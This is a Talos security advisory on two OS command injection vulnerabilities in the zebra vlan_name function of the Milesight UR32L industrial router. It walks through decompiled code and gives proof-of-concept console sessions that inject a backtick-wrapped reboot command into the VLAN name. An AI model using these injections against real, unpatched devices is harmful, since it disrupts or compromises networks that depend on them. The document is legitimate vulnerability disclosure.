Talos Vulnerability Report

TALOS-2023-1723

Milesight UR32L zebra vlan_name OS command injection vulnerabilities

July 6, 2023
CVE Number

CVE-2023-25582,CVE-2023-25583

SUMMARY

Two OS command injection vulnerabilities exist in the zebra vlan_name functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger these vulnerabilities.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

PRODUCT URLS

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router settings.

Here is the prompt after the login:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> 

The service has several functionalities. The number of functionalities depends on the user privileges. Indeed, the admin user can access the enable command, which will allow access to a highly privileged command menu:

ROUTER> enable 
ROUTER# 
  cellular-gps-dev
  clear             Reset functions
  configure         Configuration from vty interface
  copy              Copy from one file to another
  core              Set debug level
  debug             Debugging functions (see also 'undebug')
  disable           Turn off privileged mode command
  enable            Turn on privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  list              Print command list
  modbus-master
  no                Negate a command or set its defaults
  ping              Send echo messages
  quit              Exit current mode and down to previous mode
  reload            Halt and perform a cold restart
  show              Show running system information
  ssh               Open an ssh connection
  telnet            Open a telnet connection
  terminal          Set terminal line parameters
  test              Test
  traceroute        Trace route to destination
  undebug           Disable debugging functions (see also 'debug')
  write             Write running configuration to memory, network, or terminal

Issuing the configure terminal command permits access to the vlan <VLAN ID> command that allows configuration of a vlan. Several configurations are available for the vlan, one of which is the command name <vlan name>, used to add a name to the vlan and set up a network interface accordingly.

An example of using this functionality is the following one:

ROUTER> enable 
ROUTER# configure terminal 
ROUTER(config)# vlan 1000
ROUTER(config-switch)# name new

This will add the network interface named new and assign to it the vlan id 1000. The function responsible for managing the name <vlan name> command is the zebra’s vlan_name function. This function is vulnerable to two OS command injections through the <vlan name> field. Following are the details for the two vulnerabilities.

CVE-2023-25582 - replace vlan name

Following is the relevant portion of the vlan_name function that manages an already-existing vlan configuration:

void vlan_name(undefined4 param_1,int vty,undefined4 argc,char **argv)

{
  [... variable declaration ...]

  [...]
  config_switch_info = vty->config_switch_info;
  does_interfafce_exist = (switch_node *)check_ifname_exist(*argv);
  if (does_interfafce_exist == (switch_node *)0x0) {
    pthread_mutex_lock((pthread_mutex_t *)switch_if_lock);
    for (switch_node_iterator = switch_if; switch_node_iterator != (switch_node *)0x0;
        switch_node_iterator = switch_node_iterator->next) {                                            [1]
      if (switch_node_iterator->vlan_id == config_switch_info->current_vlan) {                          [2]
        interface_name = switch_node_iterator->interface_name;
        if (interface_name != (char *)0x0) {
          [... delete old interface ...]
        }
        new_interface_name = zstrdup(1,*argv);
        switch_node_iterator->interface_name = new_interface_name;
        [...]
        snprintf(shell_command,100,"ip link add link %s name %s type vlan id %d","eth0",
                 new_interface_name,switch_node_iterator->vlan_id);                                     [3]
        system(shell_command);                                                                          [4]
        [...]
        }
      }
    }
    [...]
  }
  [...]
}

The vlan_name function iterates at [1] through all the registered vlan configurations. If one of the existing vlan configurations matches the selected vlan id with the already registered one, at [2], eventually the code at [3] will be reached. At [3] the "ip link add link eth0 name <provided interface name> type vlan id <provided vlan id>" string is composed and then executed through the system function at [4]. Because no checks regarding the interface provided is perfomed, this vlan_name’s branch is vulnerable to an OS command injection vulnerability.

Exploit Proof of Concept

Following is a POC triggering a reboot of the system through the command injection exposed above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> enable 
ROUTER# configure terminal 
ROUTER(config)# vlan 1000
ROUTER(config-switch)# name new
ROUTER(config-switch)# name old`reboot`
ROUTER(config-switch)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device rebooting.

CVE-2023-25583 - new vlan name

Following the relevant portion of the vlan_name function that manages a new vlan configuration:

void vlan_name(undefined4 param_1,int vty,undefined4 argc,char **argv)

{
  [... variable declaration ...]

  [...]
  config_switch_info = vty->config_switch_info;
  does_interfafce_exist = (switch_node *)check_ifname_exist(*argv);
  if (does_interfafce_exist == (switch_node *)0x0) {
    pthread_mutex_lock((pthread_mutex_t *)switch_if_lock);
    for (switch_node_iterator = switch_if; switch_node_iterator != (switch_node *)0x0;
        switch_node_iterator = switch_node_iterator->next) {                                            [5]
      [...]
    }
    [...]
    if (switch_node_iterator == (switch_node *)0x0) {
      new_switch = (switch_node *)zcalloc(1,0xc);
      if (new_switch == (switch_node *)0x0) {
        [...]
      }
      else {
        interface_name = *argv;
        new_switch->vlan_id = config_switch_info->current_vlan;
        interface_name_copy = zstrdup(1,interface_name);
        new_switch->interface_name = interface_name_copy;
        if (interface_name_copy != 0) {
          [...]
          snprintf(shell_command,100,"ip link del %s",new_switch->interface_name);                      [6]
          system(shell_command);                                                                        [7]
          [...]
        }
        [...]
      }
      [...]
    }
  }
  [...]
}

The vlan_name function iterates at [5] through all the registered vlan configurations. If the selected vlan id is not in the in the list, the code at [6] will eventually be executed. At [6] the "ip link del <provided interface name>" string is composed and then executed at [7] through the system function. Because no checks regarding the interface provided are perfomed, this vlan_name’s branch is vulnerable to an OS command injection vulnerability.

Exploit Proof of Concept

Following is a POC triggering a reboot of the system through the command injection exposed above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> enable 
ROUTER# configure terminal 
ROUTER(config)# vlan 100
ROUTER(config-switch)# name new`reboot`
ROUTER(config-switch)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device rebooting.

VENDOR RESPONSE

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html

TIMELINE

2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.